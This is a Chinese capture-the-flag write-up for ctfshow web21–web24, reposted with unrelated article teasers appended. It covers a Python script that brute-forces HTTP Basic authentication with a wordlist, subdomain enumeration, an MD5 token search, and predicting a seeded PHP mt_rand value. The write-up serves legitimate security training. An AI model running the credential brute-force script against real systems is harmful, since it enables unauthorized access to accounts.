ctfshow-web入门-爆破(web21-web24)

目录

1、web21

2、web22

3、web23

4、web24


1、web21

爆破什么的,都是基操

需要认证才能访问

随便输一个用户名和密码抓包看看:

多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2

base64 解码看看:

就是我们刚才输入的用于测试的用户名和密码

发到攻击模块进行爆破,设置爆破的位置

有限载荷选择自定义迭代器,因为它这里的用户名和密码合并在了一起,使用冒号隔开的,如果是相互独立的参数,多个参数我们会采用其他的攻击模式而不是使用狙击手。

设置位置一:用户名(其实一般我们猜都是猜 admin )

设置位置二:冒号

设置位置三:密码

我这里最开始用字典没爆破出来,看了它的提示,密码是 shark63(这里主要是做测试)

之后我们需要对 payload 进行base64 编码 

注意这里需要将 URL 编码取消掉:

查看爆破结果,筛选长度不同的:YWRtaW46c2hhcms2Mw==

解码为:

登录:

拿到 flag:ctfshow{1ccf243b-8b20-4db4-b956-8c571066c0c5}

参考了一下它这个代码,有点问题:

自己重新写了个简单的:其中 test.txt 是我们自定义的一个密码字典

import requests
import base64

url = 'https://bc4afed2-ccc8-4ecc-a665-be5a5420435c.challenge.ctf.show/'

with open("test.txt", "r") as f:
    for i in f:
        i = i.strip()
        payload = "admin:"+i
        header = {"Authorization": "Basic {}".format(base64.b64encode(payload.encode()).decode())}
        # payload.encode() 将字符串 payload 转换为字节串
        re = requests.get(url, headers=header)
        # print(re.status_code)
        if re.status_code == 200:
            print(re.text)

运行即可拿到 flag:ctfshow{3233c118-e8d4-461e-aba5-ba801a420a31}

2、web22

域名也可以爆破的,试试爆破这个ctf.show的子域名

flag.ctf.show 页面无法访问(前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题)

使用 layer 挖一下 ctf.show 的子域名

网上说是在 vip.ctf.show ,将鼠标悬停在标题处,但是我试了一下现在已经不行了

flag 为:flag{ctf_show_web}

3、web23

还爆破?这么多代码,告辞!

php 函数介绍:

(1)intval 函数用于将变量转换为整数

示例:

echo intval("42"); // 输出 42
echo intval("42abc"); // 输出 42
echo intval("abc42"); // 输出 0

(2)substr 函数用于从字符串中提取子字符串

用法:

$substring = substr($string, $start, $length);

参数说明:

string:要提取子字符串的字符串。

start:开始位置,从 0 开始。如果是负数,则从字符串末尾开始计算位置。

length(可选):提取的子字符串长度。如果省略,则提取从 start 到字符串末尾的所有字符。 

示例:

echo substr("Hello, world!", 4);
echo substr("Hello, world!", 4, 5);

代码审计:

以 get 方式提交参数 token;

md5($_GET['token']) 会将 token 参数转换为一个 32 字符的十六进制字符串;

substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)
比较 MD5 哈希的第 2、15 和 18 个字符是否相同;
(intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加,再除以第 2 个字符的整数值,检查结果是否等于第 32 个字符的整数值;

上述条件都满足则会输出 flag。

写个Python 脚本来遍历出符合要求的字符串:

import hashlib
import itertools


def check_token(token):
    """
    检查给定的 token 是否符合特定的条件。
    1. token 的 MD5 哈希值的第 2、15 和 18 个字符相同。
    2. 这些字符的整数值与第 32 个字符满足特定的算术关系。
    """
    hashed_token = hashlib.md5(token.encode()).hexdigest()

    # 条件1:检查第 2、15 和 18 个字符是否相同
    if not (hashed_token[1] == hashed_token[14] == hashed_token[17]):
        return False

    # 条件2:检查特定的算术关系
    try:
        char1 = int(hashed_token[1])
        char31 = int(hashed_token[31])

        # 避免除零错误
        if char1 == 0:
            return False

        if (3 * char1) / char1 == char31: 
        # 第 2、15 和 18 个字符是相同的,因此它们转成整数值也是相同的,所以直接用 3 倍关系
            return True
    except ValueError:
        return False

    return False

# 定义包含所有字母和数字的字符集
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# 遍历所有可能的组合(这里以长度为1到5为例,可以根据需要调整)
for length in range(1, 6):  # 尝试长度从 1 到 5 的组合
    for candidate in (''.join(c) for c in itertools.product(characters, repeat=length)):
        if check_token(candidate):
            print(f"符合条件的 token 是: {candidate}")
            break  # 找到符合条件的 token 后停止
    else:
        continue  # 如果内循环没有中断,则继续外循环
    break  # 找到符合条件的 token 后,退出外循环
else:
    print("没有找到符合条件的 token")  # 如果所有组合都不符合条件,输出消息

 构造 payload:?token=ZE

拿到 flag:ctfshow{3ee12286-7b8f-4962-bf3c-ebbc8c04ce10}

4、web24

爆个🔨

代码审计:

mt_srand(372619038); 使用 mt_srand() 函数设置 Mersenne Twister 随机数生成器的种子为固定值 372619038,这会使随机数生成器生成的随机数序列在每次运行时都相同,因为种子值固定了;if(intval($r)===intval(mt_rand())){ 检查 GET 参数 r 转换为整数后是否等于调用 mt_rand() 生成的随机数的整数值,等于则输出 flag。

我们只需要使用给定的种子生成对应的随机数再转为整数即可

<?php
    mt_srand(372619038);
    echo intval(mt_rand());
?>

运行得到:1155388967,传给 r 

拿到 flag:ctfshow{8e8f18d8-f1b5-465d-b27a-1738b6909279}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/673033.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JVM之【运行时数据区2——堆】

三、堆&#xff08;Heap&#xff09; 1、什么是堆 在Java虚拟机&#xff08;JVM&#xff09;中&#xff0c;堆&#xff08;Heap&#xff09;是用于动态分配内存的区域。在Java程序运行时&#xff0c;所有对象和数组都是在堆中分配内存的。堆是Java内存模型的重要组成部分&…

云计算-云基础设施的配置 (Provisioning Cloud Infrastructure)

AWS CloudFormation (AWS CloudFormation) 它是一项服务&#xff0c;允许我们自动建模和配置所需的AWS资源。可以使用模板来实现这一目的。这个模板基本上是用JSON或YAML格式编写的。AWS CloudFormation会根据模板描述的内容来实施资源的配置和管理。我们可以成组配置和管理一组…

MySQL—函数—日期函数(基础)

一、引言 接下来讨论和学习关于函数的第三个方面——日期函数。 常见的MySQL当中的日期函数。 注意&#xff1a; 1、CURDATE()&#xff1a;cur&#xff1a;current 当前的&#xff0c;返回的是当前日期。 2、CURTIME()&#xff1a;当前时间。 3、NOW&#xff1a;当前的日期和…

一、实现一个简单的 Google Chrome 扩展程序

目录 &#x1f9ed; 效果展示 # 图示效果 a. 拓展程序列表图示效果&#xff1a; b. 当前选项卡页面右键效果&#xff1a; c. 拓展程序消息提示效果&#xff1a; &#x1f4c7; 项目目录结构 # 说明 # 结构 # 文件一览 ✍ 核心代码 # manifest.json # background.j…

Unity中帧动画素材的切割设置

有几个问题&#xff0c;美术在给我们帧动画的时候&#xff0c;一般都是给一个比较大的图&#xff0c;然后进行切割成多个sprite&#xff0c;导入到animation中 一般来说&#xff0c;进行那个autoSlide&#xff0c;自动切割就可以了 这个自动切割的图片会沿着有像素的最小包围…

内网-2(代理)

一、代理概述 1、代理服务器(proxy server)&#xff1a;代理网络用户去取得网络信息&#xff0c;介于浏览器与web服务器之间的一条服务器。 注&#xff1a;为了方便&#xff0c;以下用B来代表浏览器的主机&#xff0c;S来代表服务器的主机。 2、正向代理和反向代理 正向代…

车载诊断内容汇总(培训+视频)

车载诊断内容汇总 我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 屏蔽力是信息过载时代一个人的特殊竞争力&#xff0c;任何消耗你的人和事&#xff0c…

虚拟现实环境下的远程教育和智能评估系统(二)

本周进行开发工具&#xff0c;技术框架选择与学习&#xff1b;基本了解了以下技术框架的部署应用&#xff1b; 一、Springboot&#xff1a;最常用的后端框架之一&#xff0c;通过提供默认配置和自动配置&#xff0c;消除许多手动配置和样板代码&#xff0c;从而加速基于Spring…

CentOS7单用户模式,救援模式操作记录

CentOS7单用户模式&#xff0c;救援模式操作记录 1. 单用户模式 单用户模式进入不需要密码&#xff0c;无网络连接&#xff0c;拥有root权限&#xff0c;禁止远程登陆。一般用于用于系统维护&#xff0c;例如忘记root密码后可以通过进入单用户模式进行重置。 开机启动&#…

JVM运行时数据区 - 程序计数器

运行时数据区 Java虚拟机在执行Java程序的过程中&#xff0c;会把它管理的内存划分成若干个不同的区域&#xff0c;这些区域有各自的用途、创建及销毁时间&#xff0c;有些区域随着虚拟机的启动一直存在&#xff0c;有些区域则随着用户线程的启动和结束而建立和销毁&#xff0…

Unity DOTS技术(二)ECS

文章目录 一.ECS简介二.基本操作实例三.实体查看组件四.位置实体修改五.旋转实体六.了解原有属性七.禁止自动创建八.动态实例化 一.ECS简介 ECS全称 (Entity Component System).即(E:实体 C:组件 S:系统). 实际上即是数据方法分离.数据放在组件里,具体实现放在系统里.组件挂载…

遥感影像信息提取

刘老师&#xff08;副教授&#xff09;&#xff0c;来自双一流重点高校&#xff0c;长期从事GIS/RS/3S技术及其生态环境领域中的应用等方面的研究和教学工作&#xff0c;并参与GIS的二次开发&#xff0c;发表多篇sci论文&#xff0c;具有资深的技术底蕴和专业背景。 专题一&am…

Java反序列化漏洞与URLDNS利用链分析

前言 前面学习过 Java 反序列化漏洞的部分知识&#xff0c;总结过几篇文章&#xff1a; 文章发布日期内容概括《渗透测试-JBoss 5.x/6.x反序列化漏洞》2020-07-08JBoss 反序列化漏洞 CVE-2017-12149 的简单复现&#xff0c;使用了 ysoserial 和 CC5 链&#xff0c;未分析漏洞…

mipi-csi笔记

数据格式 长包&#xff0c;短包 用DI来判断数据类型 测试帧率&#xff0c;如用1G的示波器 下面的代表这是一张图片,用帧间隙来测试YUV422视频的帧率 fps10hz的外同步

alist配合onlyoffice 实现在线预览

alist配合onlyoffice 实现在线预览 文章目录 alist配合onlyoffice 实现在线预览一、安装onlyoffice二、增加view.html文件三、安装nginx&#xff0c;并增加conf配置文件四、alist预览配置增加 一、安装onlyoffice 我是采用docker安装&#xff0c;采用的版本是7.2&#xff0c; …

eNSP学习——连接RIP与OSPF网络、默认路由

目录 相关主要命令 实验一、连接RIP与OSPF网络 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、搭建RIP和OSPF网络 3、配置双向路由引入 4、手工配置引入时的开销值 实验二、使用OSPF、RIP发布默认路由 原理介绍 实验目的 实验内容 实…

天气数据集-Jena Climate dataset

天气数据集-Jena Climate dataset 1.数据集基本信息 Dataset Name: mpi_saale_2021b.csv Size: 26495 rows; 1 year (2021), 10 min 气象学、农业、环境科学 开源机构: Max Planck Institute for Biogeochemistry 2.数据特征 2.1 特征简介 数据共有31个特征&#xff0c;…

【GeoServer系列】——安装与发布shapefile数据

GeoServer是一个基于java的服务器&#xff0c;它允许用户查看和编辑地理空间数据。使用OGC制定的开放标准&#xff0c;GeoServer在地图创建和数据共享方面具有极大的灵活性。 功能概述&#xff1a; Open and Share Your Spatial Data GeoServer允许您向世界显示您的空间信息。G…

上可生产力,下可打游戏!奥睿科USB4炫影固态硬盘盒是真的稳

上可生产力&#xff0c;下可打游戏&#xff01;奥睿科USB4炫影固态硬盘盒是真的稳 哈喽小伙伴好&#xff0c;我是Stark-C~ 开篇 对于和我一样经常需要和存储数据打交道的人群来说&#xff0c;大容量的移动硬盘可以说是不可或缺的。移动硬盘作为一种便携式的存储设备&#xf…

笔记:美团的测试

0.先启动appium 1.编写代码 如下&#xff1a; from appium import webdriver from appium.webdriver.extensions.android.nativekey import AndroidKeydesired_caps {platformName: Android,platformVersion: 10,deviceName: :VOG_AL10,appPackage: com.sankuai.meituan,ap…